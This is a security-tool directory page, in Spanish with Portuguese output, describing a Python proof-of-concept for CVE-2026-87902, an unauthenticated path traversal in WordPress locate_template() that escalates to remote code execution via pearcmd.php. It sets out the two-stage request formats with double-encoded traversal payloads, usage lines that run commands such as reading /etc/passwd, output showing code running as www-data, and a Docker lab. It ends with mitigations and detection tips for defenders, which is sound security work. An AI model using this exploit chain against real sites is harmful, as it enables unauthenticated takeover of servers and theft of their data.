Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-87902 — PoC en Python que explota CVE-2026-87902, un path traversal no autenticado en locate_template() de WordPress que conduce a LFI y RCE basado en PEAR, con modo de detección segura. | Kitploit
Herramientas/GitHubGitHub/crowsec-edtech/cve-2026-87902
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de PayloadsLabs y Práctica
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

PoC en Python que explota CVE-2026-87902, un path traversal no autenticado en locate_template() de WordPress que conduce a LFI y RCE basado en PEAR, con modo de detección segura.

Ver Repositorio
2hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902 — PoC: path traversal no autenticado en la resolución de page-template de WordPress

Archivo del exploit: exploit_locate_template_rce.py — Python 3.6+ (stdlib only).

Pipeline en un solo comando: detección segura (diferencial de LFI, sin escritura) →, si es vulnerable, RCE vía gadget pearcmd.php ejecutando el comando de tu elección (--command/-c). Usa --validate-only para detenerse antes de la etapa de escritura.

Prueba el CVE-2026-87902 en versiones de WordPress sin el fix del commit 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, backports hasta 4.7.37).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
AfectadasWordPress 4.7.0 – 7.1.1 (todas las branches)
Fix7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge del changeset 63792)
Archivoswp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
AutenticaciónNinguna — ningún usuario, cookie, nonce o plugin
CréditosDescubrimiento y disclosure: Robert Ressl

⚠️ Solo para pruebas autorizadas. Úsalo en entornos que controlas (el lab de abajo es aislado) o con autorización explícita del propietario.


1. La vulnerabilidad

En versiones sin el fix, el encadenamiento get_page_template() → locate_template() → template-loader nunca garantiza que el template seleccionado permanezca dentro del tema.

Pre-fix (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sin validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): solo prueba existencia — ningún confinamiento de ruta
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

Post-fix (commit 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamiento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

Cadena de explotación (código del repositorio)

  1. pagename y page_id son query vars públicas — aceptadas en el body de un POST anónimo. El método POST hace que redirect_canonical() (canonical.php) retorne temprano — solo actúa en GET/HEAD, así que nada es redirigido.
  2. El traversal es doble-codificado (templates%252f%252e%252e%252f...) y sobrevive al sanitize: WP_Query::get_posts() (l.2191) reescribe el pagename con sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() no rompe en %2F (formatting.php l.5768) y el sanitize preserva octetos %XX (l.2395).
  3. page_id (l.2252) sobrescribe el WHERE ("$where =", no ".=") — la página real es cargada, sin 404, y el pagename malicioso permanece en el objeto de query.
  4. get_page_template() hace urldecode() tardío y arma page-<traversal>.php sin validate_file().
  5. locate_template() pre-patch solo llama a file_exists() → el include escapa del tema.

Precondiciones

#PrecondiciónMotivo
1Página publicada, accesible anónimamente, seleccionable por page_id y sin custom templateLa petición debe resolver a una Page; un template custom vendría antes en la jerarquía
2Directorio top-level en el tema activo (child o parent) que empiece con page- (ej.: page-templates/)WP antepone el prefijo fijo page-; es por él que entra el traversal. Basta con que exista y sea traversable (puede estar vacío). Presente en Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3Objetivo .php local existente y legibleEl loader agrega .php y verifica is_file()/is_readable()
4(solo p/ RCE) pearcmd.php legible + register_argc_argv=On + directorio escribible (ej.: /tmp)Ruta PEAR→RCE: config-create escribe el payload PHP en el servidor

2. Qué hace el script

Etapa 1 — detección segura (siempre corre primero)

Tres POSTs anónimos contra la página publicada — sin escritura en disco:

PeticiónpagenameRespuesta esperada (vulnerable)
A — baseline—200, cuerpo normal (~23 KB)
B — controltraversal → archivo inexistente200, cuerpo normal (fallback page.php)
C — probetraversal → wp-content/index.php ("Silence is golden")200 con cuerpo vacío

Firma: C vacío + A/B normales ⇒ el include escapó del tema ⇒ VULNERABLE. La detección recorre automáticamente: directorios de tema candidatos (page-templates, page-template) × profundidades 1–12. El resultado (theme-dir + depth) alimenta la etapa RCE.

Con --validate-only el script se detiene aquí (exit 0 si es vulnerable).

Etapa 2 — RCE vía pearcmd.php (escritura)

root@kitploit:~
Etapa 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → el traversal incluye /usr/local/lib/php/pearcmd.php
           → argv viene de la query string cruda (register_argc_argv=On)
           → config-create ESCRIBE el payload en /tmp/wp-pear-rce.php (12 copias serializadas)

Etapa 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → el mismo traversal incluye el archivo generado → system(<--command>) corre como www-data

Detalles del formato (todas las restricciones son manejadas por el script):

  • POST, no GET: el body carga page_id + pagename; la query string carga exclusivamente el argv del PEAR (?+config-create+<root>+<out>).
  • Payload sin ninguna comilla: wp_magic_quotes() (load.php l.1290) aplica add_magic_quotes($_SERVER) y pearcmd lee el argv de $_SERVER['argv'] — cualquier comilla se convertiría en \' y rompería el archivo generado. Todo string PHP se vuelve concatenación chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target byte-exacto (http.client): los bytes crudos +, <, > de la query string son el argv — nada puede ser re-escrito/re-codificado en el camino.
  • config-create exige root path absoluto — el payload se inyecta como el propio root (/<php>), prefijado con el marcador ___WP_RCE_OK___ que delimita la salida.
  • El RCE prueba depths a partir del detectado (orden interno 7, 6, 8, 5, …) y varias rutas de pearcmd.php (Docker oficial, Debian/Ubuntu, XAMPP) — ajusta con --pear-path/--output si es necesario.

No hay "upload": el objetivo de la detección es un archivo que todo WordPress trae de fábrica (wp-content/index.php); el payload del RCE es escrito por el propio servidor vía gadget PEAR, corriendo como www-data.


3. Uso

root@kitploit:~
# 1) Solo validar la vulnerabilidad (LFI probe, sin escritura)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detección + RCE ejecutando un comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinaciones útiles
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Parámetros

ParámetroDefaultDescripción
--url, -u(obligatorio)URL base de WordPress
--command, -cidComando shell ejecutado en el objetivo (ignorado con --validate-only)
--validate-onlyoffSolo valida la vulnerabilidad (LFI, se detiene antes del RCE/escritura)
--page-idauto (REST, fallback probe)ID de página publicada sin custom template
--theme-dirprueba page-templates, page-templateDirectorio top-level del tema que empieza con page-
--probe-targetindexObjetivo del probe de detección, sin .php (index → wp-content/index.php)
--depth0 (recorre 1–12)Nº de segmentos ../
--pear-pathprueba lista internapearcmd.php de la etapa RCE, sin .php (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rceDestino escribible del payload del PEAR, sin .php
--timeout20Timeout por petición (s)
--insecureoffNo verificar certificado TLS
--verboseoffSalida detallada por intento

Salida esperada en el lab

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

Códigos de salida: 0 = validado/RCE con éxito · 1 = no confirmado/falló · 2 = error (ej.: ninguna página publicada encontrada). Sirve como check de regresión: en WordPress ≥ 7.1.2 el probe nunca queda vacío y retorna 1.


4. Lab (Docker)

Lab usado: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

Por qué importa cada pieza:

  • 7.1.1-php8.3: debe ser < 7.1.2 y php8.3 — en PHP 8.5, register_argc_argv queda default Off en SAPI HTTP y PEAR salió de la distribución, así que la etapa RCE no funciona (la detección LFI sí funciona).
  • Tag rolling = trampa: wordpress:php8.3-apache hoy baja 7.1.2+ (patcheada) y el exploit falla correctamente.
  • Cambiar la imagen no rebaja: el volumen wp_data persiste el core; cambiar el tag exige docker compose down -v para que el entrypoint recopie los archivos de la nueva imagen.
  • page-templates/ (fixture): los temas default (Twenty Twenty-*) no tienen directorio page-* — sin él el prefijo fijo page- nunca resuelve y ningún depth funciona. Alternativa al bind mount: command: > con sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: la imagen oficial no carga php.ini web, así que vale el default compilado (On en php8.3). Verifica: docker exec <c> php -i | grep argc.
  • Depths del lab: la detección acierta en 3 (page-templates/ → 3×.. → wp-content/); PEAR acierta en 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. Limitaciones y nota para defensores

  • Un resultado negativo es inconcluso (tema sin page-*, page con custom template, open_basedir, WAF/proxy bloqueando el traversal, page_id inválida).
  • El probe vacío puede ser imitado por un WAF que responda 200 vacío — confirma con logs.
  • Mitigaciones: actualizar a 7.1.2+ (o backport de la branch); register_argc_argv=Off para SAPIs web; eliminar pearcmd.php legible en producción; auditar temas por directorios page-* top-level; alertar en logs por pagename con %252f/%252e (doble-codificado).
  • PEAR es solo una ruta de inclusión→ejecución; cualquier .php legible y útil puede ser objetivo del LFI (detección vía --probe-target).

6. Referencias

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (branch 7.1): commit 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • Write-up y PoC del descubridor: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • Detección diferencial (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

Aviso legal

Este material se proporciona solo para investigación y pruebas autorizadas de seguridad. El uso contra sistemas sin permiso explícito del propietario es ilegal. El exploit fue desarrollado y verificado exclusivamente en un laboratorio local aislado.

Descargar herramienta